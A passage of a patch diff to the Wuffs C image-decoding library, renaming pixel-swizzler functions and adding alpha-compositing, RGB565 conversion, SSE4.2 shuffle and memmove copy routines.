-+ uint32_t sg = 0x101 * (0xFF & (src_nonpremul >> 8)); -+ uint32_t sb = 0x101 * (0xFF & (src_nonpremul >> 0)); - -- while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__composite_nonpremul_premul_u32_axxx(d0, s0)); -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; - -- s += 1 * 4; -- d += 1 * 4; -- n -= 1; -- } -+ // Composite src (nonpremul) over dst (premul). -+ da = sa + ((da * ia) / 0xFFFF); -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; - -- return len; -+ // Convert from 16-bit color to 8-bit color. -+ da >>= 8; -+ dr >>= 8; -+ dg >>= 8; -+ db >>= 8; -+ -+ // Combine components. -+ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); -+} -+ -+static inline uint64_t // -+wuffs_private_impl__composite_premul_nonpremul_u64_axxx( -+ uint64_t dst_premul, -+ uint64_t src_nonpremul) { -+ // Extract components. -+ uint64_t da = 0xFFFF & (dst_premul >> 48); -+ uint64_t dr = 0xFFFF & (dst_premul >> 32); -+ uint64_t dg = 0xFFFF & (dst_premul >> 16); -+ uint64_t db = 0xFFFF & (dst_premul >> 0); -+ uint64_t sa = 0xFFFF & (src_nonpremul >> 48); -+ uint64_t sr = 0xFFFF & (src_nonpremul >> 32); -+ uint64_t sg = 0xFFFF & (src_nonpremul >> 16); -+ uint64_t sb = 0xFFFF & (src_nonpremul >> 0); -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint64_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ da = sa + ((da * ia) / 0xFFFF); -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Combine components. -+ return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); -+} -+ -+static inline uint32_t // -+wuffs_private_impl__composite_premul_premul_u32_axxx(uint32_t dst_premul, -+ uint32_t src_premul) { -+ // Extract 16-bit color components. -+ uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); -+ uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); -+ uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); -+ uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); -+ uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); -+ uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); -+ uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); -+ uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (premul) over dst (premul). -+ da = sa + ((da * ia) / 0xFFFF); -+ dr = sr + ((dr * ia) / 0xFFFF); -+ dg = sg + ((dg * ia) / 0xFFFF); -+ db = sb + ((db * ia) / 0xFFFF); -+ -+ // Convert from 16-bit color to 8-bit color. -+ da >>= 8; -+ dr >>= 8; -+ dg >>= 8; -+ db >>= 8; -+ -+ // Combine components. -+ return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); - } - - // -------- - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+wuffs_private_impl__swizzle_squash_align4_bgr_565_8888(uint8_t* dst_ptr, -+ size_t dst_len, -+ const uint8_t* src_ptr, -+ size_t src_len, -+ bool nonpremul) { -+ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - - size_t n = len; -- while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- uint8_t s3 = s[3]; -- d[0] = s0; -- d[1] = s0; -- d[2] = s1; -- d[3] = s1; -- d[4] = s2; -- d[5] = s2; -- d[6] = s3; -- d[7] = s3; -- -- s += 1 * 4; -- d += 1 * 8; -- n -= 1; -+ while (n--) { -+ uint32_t argb = wuffs_base__peek_u32le__no_bounds_check(s); -+ if (nonpremul) { -+ argb = -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(argb); -+ } -+ uint32_t b5 = 0x1F & (argb >> (8 - 5)); -+ uint32_t g6 = 0x3F & (argb >> (16 - 6)); -+ uint32_t r5 = 0x1F & (argb >> (24 - 5)); -+ uint32_t alpha = argb & 0xFF000000; -+ wuffs_base__poke_u32le__no_bounds_check( -+ d, alpha | (r5 << 11) | (g6 << 5) | (b5 << 0)); -+ s += 4; -+ d += 4; - } - return len; - } - -+// -------- -+ - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+wuffs_private_impl__swizzle_swap_rgb_bgr(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t len = (dst_len < src_len ? dst_len : src_len) / 3; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - - size_t n = len; -- while (n >= 1) { -- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -- uint64_t s0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), -- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); -- -- s += 1 * 4; -- d += 1 * 8; -- n -= 1; -+ while (n--) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ d[0] = s2; -+ d[1] = s1; -+ d[2] = s0; -+ s += 3; -+ d += 3; - } - return len; - } - -+// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_nonpremul_4x16le__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; -+wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; -- - size_t n = len; -- while (n >= 1) { -- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), -- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); - -- s += 1 * 8; -- d += 1 * 8; -- n -= 1; -+ __m128i shuffle = _mm_set_epi8(+0x0F, +0x0C, +0x0D, +0x0E, // -+ +0x0B, +0x08, +0x09, +0x0A, // -+ +0x07, +0x04, +0x05, +0x06, // -+ +0x03, +0x00, +0x01, +0x02); -+ -+ while (n >= 4) { -+ __m128i x; -+ x = _mm_lddqu_si128((const __m128i*)(const void*)s); -+ x = _mm_shuffle_epi8(x, shuffle); -+ _mm_storeu_si128((__m128i*)(void*)d, x); -+ -+ s += 4 * 4; -+ d += 4 * 4; -+ n -= 4; -+ } -+ -+ while (n--) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ uint8_t s3 = s[3]; -+ d[0] = s2; -+ d[1] = s1; -+ d[2] = s0; -+ d[3] = s3; -+ s += 4; -+ d += 4; - } - return len; - } -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) -+// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+wuffs_private_impl__swizzle_swap_rgbx_bgrx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t len = (dst_len < src_len ? dst_len : src_len) / 4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - - size_t n = len; -- while (n >= 1) { -- uint64_t s0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -- wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); -- -- s += 1 * 4; -- d += 1 * 8; -- n -= 1; -+ while (n--) { -+ uint8_t s0 = s[0]; -+ uint8_t s1 = s[1]; -+ uint8_t s2 = s[2]; -+ uint8_t s3 = s[3]; -+ d[0] = s2; -+ d[1] = s1; -+ d[2] = s0; -+ d[3] = s3; -+ s += 4; -+ d += 4; - } - return len; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__bgra_premul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- -- size_t n = len; -- while (n >= 1) { -- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -- uint64_t s0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), wuffs_base__composite_nonpremul_premul_u64_axxx(d0, s0)); -+// -------- - -- s += 1 * 4; -- d += 1 * 8; -- n -= 1; -+static uint64_t // -+wuffs_private_impl__swizzle_copy_1_1(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t len = (dst_len < src_len) ? dst_len : src_len; -+ if (len > 0) { -+ memmove(dst_ptr, src_ptr, len); - } - return len; - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__index_bgra_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- if (dst_palette_len != -- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { -- return 0; -+wuffs_private_impl__swizzle_copy_2_2(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len2 = src_len / 2; -+ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; -+ if (len > 0) { -+ memmove(dst_ptr, src_ptr, len * 2); - } -- size_t dst_len8 = dst_len / 8; -- size_t len = (dst_len8 < src_len) ? dst_len8 : src_len; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -- -- while (n >= 1) { -- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -- uint64_t s0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + -- ((size_t)s[0] * 4))); -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), -- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); -+ return len; -+} - -- s += 1 * 1; -- d += 1 * 8; -- n -= 1; -+static uint64_t // -+wuffs_private_impl__swizzle_copy_3_3(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len3 = dst_len / 3; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len3 < src_len3) ? dst_len3 : src_len3; -+ if (len > 0) { -+ memmove(dst_ptr, src_ptr, len * 3); - } -- - return len; - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -+wuffs_private_impl__swizzle_copy_4_4(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len4 = dst_len / 4; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- -- size_t n = len; -- while (n >= 1) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- uint8_t s3 = s[3]; -- d[0] = s2; -- d[1] = s2; -- d[2] = s1; -- d[3] = s1; -- d[4] = s0; -- d[5] = s0; -- d[6] = s3; -- d[7] = s3; -- -- s += 1 * 4; -- d += 1 * 8; -- n -= 1; -+ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ if (len > 0) { -+ memmove(dst_ptr, src_ptr, len * 4); - } - return len; - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -+wuffs_private_impl__swizzle_copy_8_8(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { - size_t dst_len8 = dst_len / 8; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- -- size_t n = len; -- while (n >= 1) { -- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -- uint64_t s0 = -- wuffs_base__color_u32__as__color_u64(wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), -- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0)); -- -- s += 1 * 4; -- d += 1 * 8; -- n -= 1; -+ size_t src_len8 = src_len / 8; -+ size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; -+ if (len > 0) { -+ memmove(dst_ptr, src_ptr, len * 8); - } - return len; - } - -+// -------- -+ - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+wuffs_private_impl__swizzle_bgr_565__bgr(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; -+ size_t src_len3 = src_len / 3; -+ size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; -- - size_t n = len; -+ -+ // TODO: unroll. -+ - while (n >= 1) { -- uint64_t s0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( -- wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); -- wuffs_base__poke_u64le__no_bounds_check(d + (0 * 8), s0); -+ uint32_t b5 = (uint32_t)(s[0] >> 3); -+ uint32_t g6 = (uint32_t)(s[1] >> 2); -+ uint32_t r5 = (uint32_t)(s[2] >> 3); -+ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); - -- s += 1 * 4; -- d += 1 * 8; -+ s += 1 * 3; -+ d += 1 * 2; - n -= 1; - } -+ - return len; - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_nonpremul_4x16le__rgba_premul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -+wuffs_private_impl__swizzle_bgr_565__bgrx(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; -- - size_t n = len; -+ -+ // TODO: unroll. -+ - while (n >= 1) { -- uint64_t d0 = wuffs_base__peek_u64le__no_bounds_check(d + (0 * 8)); -- uint64_t s0 = -- wuffs_base__color_u32__as__color_u64(wuffs_base__swap_u32_argb_abgr( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); -- wuffs_base__poke_u64le__no_bounds_check( -- d + (0 * 8), wuffs_base__composite_nonpremul_premul_u64_axxx(d0, s0)); -+ uint32_t b5 = (uint32_t)(s[0] >> 3); -+ uint32_t g6 = (uint32_t)(s[1] >> 2); -+ uint32_t r5 = (uint32_t)(s[2] >> 3); -+ uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); - - s += 1 * 4; -- d += 1 * 8; -+ d += 1 * 2; - n -= 1; - } -+ - return len; - } - --// -------- -- - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( -+wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+ size_t dst_len2 = dst_len / 2; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22217,13 +23221,14 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( - // TODO: unroll. - - while (n >= 1) { -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(s0)); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -+ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); - - s += 1 * 4; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22231,16 +23236,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( -+wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+ size_t dst_len2 = dst_len / 2; - size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22248,13 +23253,14 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( - // TODO: unroll. - - while (n >= 1) { -- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul(s0)); -+ wuffs_base__poke_u16le__no_bounds_check( -+ d + (0 * 2), -+ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -+ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -+ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))))); - - s += 1 * 8; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22262,16 +23268,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( -+wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+ size_t dst_len2 = dst_len / 2; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -+ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22279,13 +23285,38 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( - // TODO: unroll. - - while (n >= 1) { -- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); -- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); -+ // Extract 16-bit color components. -+ uint32_t sa = 0x101 * ((uint32_t)s[3]); -+ uint32_t sr = 0x101 * ((uint32_t)s[2]); -+ uint32_t sg = 0x101 * ((uint32_t)s[1]); -+ uint32_t sb = 0x101 * ((uint32_t)s[0]); -+ -+ // Convert from 565 color to 16-bit color. -+ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -+ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -+ uint32_t dr = (0x8421 * old_r5) >> 4; -+ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -+ uint32_t dg = (0x1041 * old_g6) >> 2; -+ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -+ uint32_t db = (0x8421 * old_b5) >> 4; -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert from 16-bit color to 565 color and combine the components. -+ uint32_t new_r5 = 0x1F & (dr >> 11); -+ uint32_t new_g6 = 0x3F & (dg >> 10); -+ uint32_t new_b5 = 0x1F & (db >> 11); -+ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); - - s += 1 * 4; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22293,16 +23324,16 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( -+wuffs_private_impl__swizzle_bgr_565__bgra_nonpremul_4x16le__src_over( - uint8_t* dst_ptr, - size_t dst_len, - uint8_t* dst_palette_ptr, - size_t dst_palette_len, - const uint8_t* src_ptr, - size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+ size_t dst_len2 = dst_len / 2; - size_t src_len8 = src_len / 8; -- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; -+ size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; - uint8_t* d = dst_ptr; - const uint8_t* s = src_ptr; - size_t n = len; -@@ -22310,16 +23341,38 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( - // TODO: unroll. - - while (n >= 1) { -- uint64_t d0 = wuffs_base__color_u32__as__color_u64( -- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); -- uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); -- wuffs_base__poke_u32le__no_bounds_check( -- d + (0 * 4), -- wuffs_base__color_u64__as__color_u32( -- wuffs_base__composite_premul_nonpremul_u64_axxx(d0, s0))); -+ // Extract 16-bit color components. -+ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); -+ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); -+ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); -+ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); -+ -+ // Convert from 565 color to 16-bit color. -+ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -+ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -+ uint32_t dr = (0x8421 * old_r5) >> 4; -+ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -+ uint32_t dg = (0x1041 * old_g6) >> 2; -+ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); -+ uint32_t db = (0x8421 * old_b5) >> 4; -+ -+ // Calculate the inverse of the src-alpha: how much of the dst to keep. -+ uint32_t ia = 0xFFFF - sa; -+ -+ // Composite src (nonpremul) over dst (premul). -+ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -+ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -+ db = ((sb * sa) + (db * ia)) / 0xFFFF; -+ -+ // Convert from 16-bit color to 565 color and combine the components. -+ uint32_t new_r5 = 0x1F & (dr >> 11); -+ uint32_t new_g6 = 0x3F & (dg >> 10); -+ uint32_t new_b5 = 0x1F & (db >> 11); -+ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); -+ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); - - s += 1 * 8; -- d += 1 * 4; -+ d += 1 * 2; - n -= 1; - } - -@@ -22327,16 +23380,15 @@ wuffs_base__pixel_swizzler__bgra_premul__bgra_nonpremul_4x16le__src_over( - } - - static uint64_t // --wuffs_base__pixel_swizzler__bgra_premul__bgra_premul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -+wuffs_private_impl__swizzle_bgr_565__bgra_premul__src(uint8_t* dst_ptr, -+ size_t dst_len, -+ uint8_t* dst_palette_ptr, -+ size_t dst_palette_len, -+ const uint8_t* src_ptr, -+ size_t src_len) { -+ size_t dst_len2 = dst_len / 2; - size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) 